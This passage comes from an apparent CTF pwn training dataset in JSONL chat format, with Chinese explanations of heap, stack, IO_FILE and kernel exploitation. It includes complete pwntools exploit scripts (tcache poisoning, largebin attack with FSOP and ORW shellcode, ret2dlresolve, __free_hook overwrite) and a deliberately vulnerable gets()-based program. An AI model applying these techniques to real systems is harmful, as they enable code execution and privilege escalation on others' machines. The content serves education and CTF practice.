为 7 ，然而这也就意味着 `0x217` 再分配和释放都同 `glibc 2.23` 一样，我们无法通过 `UAF` 改 chunk 的 `fd` 来达到任意地址写的目的，因此我们要通过别的方式修改这个值。\n```c\n__int64 __fastcall Magic(__int64 a1, __int64 a2)\n{\n  void *buf; // [rsp+8h] [rbp-8h]\n\n  if ( *(_BYTE *)(qword_4030 + 0x20) <= 6 )\n    error(\"gg\", a2);\n  buf = malloc(0x217uLL);\n  if ( !buf )\n    error(\"err\", a2);\n  if ( read(0, buf, 0x217uLL) <= 0 )\n    error(\"io\", buf);\n  puts(\"Serious Punch!!!\");\n  puts(&unk_2128);\n  return puts(buf);\n}\n```\nEdit 和 Show 函数分别可以对堆块内容进行编辑和输出。\n\n### 利用思路\n\n由于 glibc 2.29 中新增了对于 `unsorted bin` 链表完整性检查，这使得 `unsorted bin attack` 完全失效，我们的目标是往一个地址中写入 `large value` ，这种情况下就可以选择 `tcache stashing unlink attack`。\n\n首先我们可以通过UAF来泄露 `heap` 和 `libc` 地址。具体方式是分配并释放多个chunk使其进入 `tcache` ，通过 `Show` 函数可以输出 `tcache bin` 的 `fd` 值来泄露堆地址。释放某个 `small bin size` 范围内的chunk七个，在第八次释放时会先把释放的堆块放入 `unsorted bin` 。通过 `Show` 函数可以泄露出 libc 地址。\n\n我们首先通过 `UAF` 将 `__malloc_hook` 链入 `tcache` 备用。然后分配并释放六次 `0x100` 大小的chunk进入 `tcache` 。通过 `unsorted bin` 切割得到 `last remainer` 的方式得到两个大小为 `0x100` 的chunk。再分配一个超过 0x100 的块使其进入 `small bin` 。按照释放顺序我们称之为 bin1 和 bin2 。修改 `bin2->bk` 为 `(heap_base+0x2f)-0x10` ，调用 `calloc(0xf0)` 触发 `small bin` 放入 `tcache` 的处理逻辑，由于 `tcache` 中有 6 个块，因此循环处理只会进行一次，这样也避免了 fake_chunk 因 bk 处无可写地址作为下一个块进行 unlink 时 `bck->fd=bin` 带来的内存访问错误。最终改掉 `heap_base+0x30` 的值绕过检查。\n\n### 利用步骤\n\n下面在调用 calloc 前下断点，可以看到此时 `tcache[0x100]` 有 6 个堆块，small bin 的分配顺序为 `0x000055555555c460->0x55555555cc80->0x000055555555901f` ，在 `calloc(0xf0)` 调用后， `0x000055555555c460` 会被返回给用户， `0x55555555cc80` 被链入tcache，而由于没有多余位置，跳出循环， `0x000055555555901f` 不做处理。\n\n## Exploit 关键代码\n### Heap/tcache attack/Hitcon-CTF2019-one_punch_man/exp.py\n```python\n#coding=utf-8\nfrom pwn import *\ncontext.update(arch='amd64',os='linux',log_level='DEBUG')\ncontext.terminal = ['tmux','split','-h']\ndebug = 1\nelf = ELF('./one_punch')\nlibc_offset = 0x3c4b20\ngadgets = [0x45216,0x4526a,0xf02a4,0xf1147]\nif debug:\n    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n    p = process('./one_punch')\n\ndef Add(idx,name):\n    p.recvuntil('> ')\n    p.sendline('1')\n    p.recvuntil(\"idx: \")\n    p.sendline(str(idx))\n    p.recvuntil(\"hero name: \")\n    p.send(name)\n\n\ndef Edit(idx,name):\n    p.recvuntil('> ')\n    p.sendline('2')\n    p.recvuntil(\"idx: \")\n    p.sendline(str(idx))\n    p.recvuntil(\"hero name: \")\n    p.send(name)\n\ndef Show(idx):\n    p.recvuntil('> ')\n    p.sendline('3')\n    p.recvuntil(\"idx: \")\n    p.sendline(str(idx))\n\ndef Delete(idx):\n    p.recvuntil('> ')\n    p.sendline('4')\n    p.recvuntil(\"idx: \")\n    p.sendline(str(idx))\n\ndef BackDoor(buf):\n    p.recvuntil('> ')\n    p.sendline('50056')\n    sleep(0.1)\n    p.send(buf)\n\ndef exp():\n    #leak heap\n    for i in range(7):\n        Add(0,'a'*0x120)\n        Delete(0)\n    Show(0)\n    p.recvuntil(\"hero name: \")\n    heap_base = u64(p.recvline().strip('\\n').ljust(8,'\\x00')) - 0x850\n    log.success(\"[+]heap base => \"+ hex(heap_base))\n    #leak libc\n    Add(0,'a'*0x120)\n    Add(1,'a'*0x400)\n    Delete(0)\n\n# ... 中间内容省略，保留关键利用片段 ...\n\n    Show(0)\n        Delete(0)\n        Delete(0)\n    Delete(0)#UAF\n    Delete(1)#UAF\n    Edit(2,'./flag'.ljust(8,'\\x00'))\n    Edit(1,'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x000055555555c460-0x555555559000))+p64(heap_base+0x1f))\n    Delete(0)\n    Edit(0,p64(libc_base+libc.sym['__malloc_hook']))\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 36, "ctf_task_type": "pwn", "original_id": "pwn101-pair-bfae94377e250cd2", "original_line": 151, "original_split": "train", "record_type": "writeup_exploit_pair", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/Hitcon-CTF2019-one_punch_man", "split": "train", "split_group_key": "1a55890639f79a336715361c"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/Hitcon-CTF2019-one_punch_man", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d303fa2bf8e69a409084", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「2. 复用 chunk1 并伪造 chunk2 header」。\n资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 2. 复用 chunk1 并伪造 chunk2 header\n\n重新申请 index 1 的 `0x68` chunk，会从 tcache[0x70] 取回原 chunk1：\n\n```python\nadd(1, 0x68)\nedit(1, b\"a\" * 0x60 + p64(0x170))\n```\n\n`edit(1)` 的内容作用如下：\n\n```text\nchunk1 user data: 0x68 bytes\n偏移 0x60: 覆盖 chunk2.prev_size = 0x170\n偏移 0x68: off-by-null 写入 chunk2.size 低字节，清掉 PREV_INUSE\n```\n\n原本 chunk2 size 为 `0x101`，低字节被置 0 后变成 `0x100`，同时 `PREV_INUSE=0`。接下来释放 chunk2：\n\n```python\ndelete(2)\n```\n\nglibc 会认为 chunk2 前方存在一个大小为 `0x170` 的 free chunk，于是向后合并 `chunk0 + chunk1 + chunk2`，得到一个覆盖原区域的大 unsorted chunk。由于 0x100 tcache 已满，这个合并后的大 chunk 会进入 unsorted bin。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-34ba88d1e316444b", "original_line": 114, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "split_group_key": "d6b6a0a5a29a7b1892b4d993"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d3f5ca13d481b03c9afb", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3. edit(-6) 可以覆盖 stdout FILE 结构」。\n资料来源：IO-FILE/house of apple2/2024pcb babyheap/WP.md；主题：2024PCB babyheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 3. edit(-6) 可以覆盖 stdout FILE 结构\n\n`edit` 还有一个限制：全局变量 `qword_41E0` 初始为 1，因此只能使用一次。\n\n```c\nif (book[idx].ptr && qword_41E0 > 0) {\n    --qword_41E0;\n    read(0, book[idx].ptr, 0x400);\n}\n```\n\n但这一次已经足够。因为：\n\n```text\nbook                 = 0x40a0\nbook[-6].ptr slot    = 0x40a0 - 6 * 0x10\n                    = 0x4040\n                    = stdout copy relocation\n```\n\n`0x4040` 处保存的是 `_IO_2_1_stdout_` 指针，因此：\n\n```python\nedit(-6, payload)\n```\n\n等价于：\n\n```c\nread(0, _IO_2_1_stdout_, 0x400);\n```\n\n也就是可以一次性把 libc 里的 `stdout` FILE 结构覆盖成伪造结构。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-93c7fba382b5370b", "original_line": 197, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "split_group_key": "fe49aac94cc72bab9c75b731"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d4da63fbd71c99c9eefb", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「利用原理」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 利用原理\n\n仔细回顾一下内核在 signal 信号处理的过程中的工作，我们可以发现，内核主要做的工作就是为进程保存上下文，并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是：\n\n+ Signal Frame 被保存在用户的地址空间中，所以用户是可以读写的。\n+ 由于内核与信号处理程序无关，它并不会去记录这个 signal 对应的 Signal Frame，所以当执行 sigreturn 系统调用时，此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-a1d4b41637c2dae0", "original_line": 58, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d51e106615b514d3dc01", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「1. 填满 0x100 tcache 并布置相邻 chunk」。\n资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 1. 填满 0x100 tcache 并布置相邻 chunk\n\n先申请：\n\n```python\nadd(0, 0xF8)\nadd(1, 0x68)\nadd(2, 0xF8)\nfor i in range(3, 10):\n    add(i, 0xF8)\nadd(12, 0x68)\n```\n\n堆布局近似为：\n\n```text\nchunk0: request 0xf8 -> chunk size 0x100\nchunk1: request 0x68 -> chunk size 0x70   # 漏洞 chunk\nchunk2: request 0xf8 -> chunk size 0x100  # 被清 PREV_INUSE 的目标 chunk\nchunk3~9: 0x100 chunks                    # 用来填满 tcache[0x100]\nchunk12: 0x70 guard                       # 防止 top 合并\n```\n\n释放 `chunk3~9` 后，`tcache[0x100]` 被填满。再释放 `chunk0` 和 `chunk1`：\n\n```python\nfor i in range(3, 10):\n    delete(i)\ndelete(0)\ndelete(1)\n```\n\n这里要保证 `chunk0` 是 free chunk，这样 `chunk1` 重新分配后，`chunk2.prev_size` 能被伪造成 `0x170`，并满足 unlink / consolidate 的一致性检查。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-a1a2b60123316f7e", "original_line": 119, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "split_group_key": "d6b6a0a5a29a7b1892b4d993"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d521acd4981d69d59bda", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `IO-FILE/house of apple2/2024ylb futureheap/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`IO-FILE/house of apple2/2024ylb futureheap/exp.py`\n\n分类：io_file\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n- `from ctypes import *`\n\n函数/封装：\n- `build`\n- `dbg`\n- `drop`\n- `fix`\n\n利用主题关键词：\n- heap/tcache\n- io-file/fsop\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x200`, `0x4a0`, `0x510`, `0x520`, `0x530`, `0x600`, `0x1417`, `0x14F5`, `0x1EFC`, `0x61616161`\n\n训练用代码片段：\n```python\nfrom pwn import *\nfrom ctypes import *\ncontext(os='linux', arch='amd64', log_level='debug')\np = process(\"pwn\")\n# p=gdb.debug(\"/home/zp9080/PWN/pwn\",'b *$rebase(0x1417)')\n# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])\nelf = ELF(\"pwn\")\nlibc=elf.libc\n\n#b *$rebase(0x14F5)\ndef dbg():\n    gdb.attach(p,'b *$rebase(0x1EFC)')\n    pause()\n\ndef build(idx,size):\n    p.sendline(str(1))\n    p.sendline(str(idx))\n    p.sendline(str(size))\n\ndef fix(idx,cont):\n    p.sendline(str(2))\n    p.sendline(str(idx))\n    sleep(0.1)\n    p.send(cont)\n    sleep(0.1)\n\n\ndef drop(idx):\n    p.sendline(str(3))\n    p.sendline(str(idx))\n\n#YLCTF{94aab93f-15dd-4ca4-a5f5-fb9079f3de71}\n# dbg()\np.sendlineafter(\"Tell me your name, my dear: \", b'a'*16)\nLIBC = CDLL('/home/zp9080/PWN/libc.so.6')\nseed = 0x61616161\nLIBC.srand(seed)\nwolf=LIBC.rand()\nsword=LIBC.rand()\ntmp0=LIBC.rand()\ntmp1=LIBC.rand()\np.recvuntil('Lion is ')\n#泄露libcbase\nlibcbase=(int(eval(p.recvline()))^tmp0^wolf) -libc.sym['setvbuf']\nprint(hex(libcbase))\n#泄露mmap地址\np.recvuntil('Snake is ')\nfortune=int(eval(p.recvline()))^tmp1^sword\nprint(hex(fortune))\n\nbuild(0,0x520) #0\nbuild(4,0x600)\nbuild(1,0x510) #1\nbuild(5,0x600)\n\ndrop(0)\n#让0进入largebin\nbuild(2,0x530)\n\n#1在unsorted bin中\ndrop(1)\n#size(0)>size(1)\ntarget=libcbase+libc.sym['_IO_list_all']\nfix(0,p64(0)*3+p64(target-0x20))\n\n#触发largebin attack\nbuild(3,0x530)\n\n# dbg()\n# fake_IO_addr =\nsystem_addr=libcbase+libc.sym['system']\n\npayload = p64(0)*2+ p64(1) + p64(2) #这样设置满足fsop\npayload = payload.ljust(0x78, b'\\x00') + p64(fortune+0x4a0) #FAKE FILE+0x88\npayload = payload.ljust(0x90, b'\\x00') + p64(fortune+0x200) #_wide_data\npayload = payload.ljust(0xc8, b'\\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps\nfix(1,payload)\n\nwide_data=b'\\x00'\nwide_data=wide_data.ljust(0x68,b'\\x00')\nwide_data+=p64(fortune)\nwide_data=wide_data.ljust(0xe0,b'\\x00')\nwide_data+=p64(fortune+0x200)\n\np.sendline(str(4))\norw_shellcode= shellcraft.openat(0,'/flag\\x00')\norw_shellcode += shellcraft.sendfile(1,3,0,0x100)\nenc=b'74r0t#C@rd'\np.sendline(enc)\npayload=asm(orw_shellcode).ljust(0x200,b'\\x90')+wide_data\np.send(payload)\nsleep(0.1)\n\n# dbg()\np.sendline(str(2))\n\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-fb29e5d5d10103c1", "original_line": 156, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/exp.py", "split": "train", "split_group_key": "1c8e3eff6eae0ba8b7c1f000"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d59aab6f3ce11b83be09", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2text/ret2text_x86/ret2text.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2text/ret2text_x86/ret2text.c`\n\n分类：stack\n\n语言：c\n\n环境/依赖线索：\n- `#include`\n- `#include`\n- `#include`\n\n函数/封装：\n- `fun`\n- `init`\n- `main`\n\n利用主题关键词：\n- stack/rop\n\n训练用代码片段：\n```c\n#include\n#include\n#include\n\nvoid init(){\n\n\tsetvbuf(stdin,0,2,0);\n\tsetvbuf(stdout,0,2,0);\n\tsetvbuf(stderr,0,2,0);\n}\n\nint fun(){\n\n\t\tsystem(\"/bin/sh\");\n}\n\nint main()\n{\n\tint buf[10]={0};\n\tputs(\"input:\");\n\tgets(buf);\n\n\treturn 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-72efda54b0ff6cbd", "original_line": 563, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2text/ret2text_x86/ret2text.c", "split": "train", "split_group_key": "dffe6c482574e2f0e5d05589"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2text/ret2text_x86/ret2text.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d5b6602ff7af045ed074", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「1. IDA MCP 复核的模块接口」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md；主题：d3kheap2pro root 提权可行性分析；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 1. IDA MCP 复核的模块接口\n\n`d3kheap2pro_ioctl` 只从用户态复制 8 字节 `idx`，命令分支为：\n\n| command | meaning | status |\n|---:|---|---|\n| `0x3361626e` | alloc | alloc from private `d3kheap2pro_cache` |\n| `0x74747261` | free | decrements refcnt and frees dangling ptr |\n| `0x4e575046` | stub | no useful read/write |\n| `0x54433344` | stub | no useful read/write |\n\n`init_module` creates:\n\n```c\nproc_create(\"d3kheap2pro\", 0666, NULL, &d3kheap2pro_ops);\nkmem_cache_create(\"d3kheap2pro_cache\", 2048, ..., 8448, ...);\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-2994e61d1557f3bd", "original_line": 369, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md", "split": "train", "split_group_key": "4f4730adc8ab5a373a40a258"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d5d3357c832b6672ebd2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2dlresolve/2015-xdctf-pwn200/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2dlresolve/2015-xdctf-pwn200/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n函数/封装：\n- `payload`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x8048508`, `0x804851a`, `0x804851b`, `0x804a000`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\ndef payload():\n    global sh\n\n    bssHigh = 0x804a000\n    readAddr = 0x8048508\n    leaveRetAddr = 0x804851a\n    retAddr = 0x804851b\n\n    rop = ROP(elf)\n    dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=[\"/bin/sh\"])\n    rop.read(0, dlresolve.data_addr)\n    rop.ret2dlresolve(dlresolve)\n    raw_rop = rop.chain()\n\n    sl(b'0'*112 + p32(retAddr) + raw_rop)\n    sl(dlresolve.payload)\n    ia()\n\npayload()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-cd116a2de79ae161", "original_line": 526, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/2015-xdctf-pwn200/exp.py", "split": "train", "split_group_key": "dba0f19ef421150cc76f096a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/2015-xdctf-pwn200/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d61dc8c6aa3ea99e3b78", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「4. 利用 overlap 做 tcache poisoning」。\n资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 4. 利用 overlap 做 tcache poisoning\n\n经过前面的切割和重叠，此时 index 1 和后续重新申请出的某个 0x70 chunk 存在重叠关系。申请 index 3 后释放，再通过 index 1 改写它的 tcache `fd`：\n\n```python\nadd(3, 0x68)\ndelete(3)\nedit(1, p64(free_hook))\n```\n\n然后连续申请两次 `0x68`：\n\n```python\nadd(9, 0x68)\nedit(9, b\"/bin/sh\\x00\")\nadd(10, 0x68)\nedit(10, p64(system))\n```\n\n第一次申请拿回被释放的普通 chunk，第二次申请返回被污染后的 `__free_hook`。向 index 10 写入 `system` 后，释放保存 `/bin/sh` 的 index 9：\n\n```python\ndelete(9)\n```\n\n执行效果等价于：\n\n```c\nfree(\"/bin/sh\");   // __free_hook(\"/bin/sh\") -> system(\"/bin/sh\")\n```\n\n最终 getshell。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-38c7fff02ab8a367", "original_line": 115, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "split_group_key": "d6b6a0a5a29a7b1892b4d993"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d63e1d0b50f396c6b0d7", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「漏洞点」。\n资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 漏洞点\n\n主要漏洞是 **free 后指针未清空导致 UAF**：\n\n1. `show(freed_idx)` 可以读 freed chunk 中的 tcache / unsorted bin 元数据。\n2. `edit(freed_idx)` 可以改 freed chunk 的 tcache `fd` 指针。\n3. 配合 glibc 2.34 的 Safe-Linking，只要泄漏 heap base，就可以正确伪造 tcache `fd`。\n\n程序的 idx 检查也不严谨：`delete/show/edit` 允许 `idx <= 0x14`，但 add 只使用 0~19；这里可能存在 index 20 的边界问题。不过当前 exp 没有用这个点，完整利用链只依赖 UAF。\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-cee41605476c42bd", "original_line": 186, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "split_group_key": "8a82ea35d8808d6caff7e707"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d675eef7c272871ad843", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/largetbin attack/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/largetbin attack/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add_chunk`\n- `dbg`\n- `delete_chunk`\n- `edit_chunk`\n- `show_chunk`\n\n利用主题关键词：\n- io-file/fsop\n\n关键常量/偏移样例：\n`0x200`, `0x300`, `0x418`, `0x428`, `0x500`, `0x233d61`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\nlibc = ELF('./libc.so.6')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef add_chunk(index, size):\n    sa(\"choice:\", \"1\")\n    sa(\"index:\", str(index))\n    sa(\"size:\", str(size))\n\n\ndef delete_chunk(index):\n    sa(\"choice:\", \"2\")\n    sa(\"index:\", str(index))\n\n\ndef edit_chunk(index, content):\n    sa(\"choice:\", \"3\")\n    sa(\"index:\", str(index))\n    sa(\"length:\", str(len(content)))\n    sa(\"content:\", content)\n\n\ndef show_chunk(index):\n    sa(\"choice:\", \"4\")\n    sa(\"index:\", str(index))\n\n\nadd_chunk(0, 0x428)\nadd_chunk(10, 0x10)\nadd_chunk(1, 0x418)\nadd_chunk(10, 0x10)\nadd_chunk(2, 0x418)\nadd_chunk(10, 0x10)\n\ndelete_chunk(0)\n\nadd_chunk(0, 0x428)\nedit_chunk(0, 'a')\nshow_chunk(0)\n\nlibc.address = u64(ru(b'\\x7F')[-6:].ljust(8, b'\\x00')) - 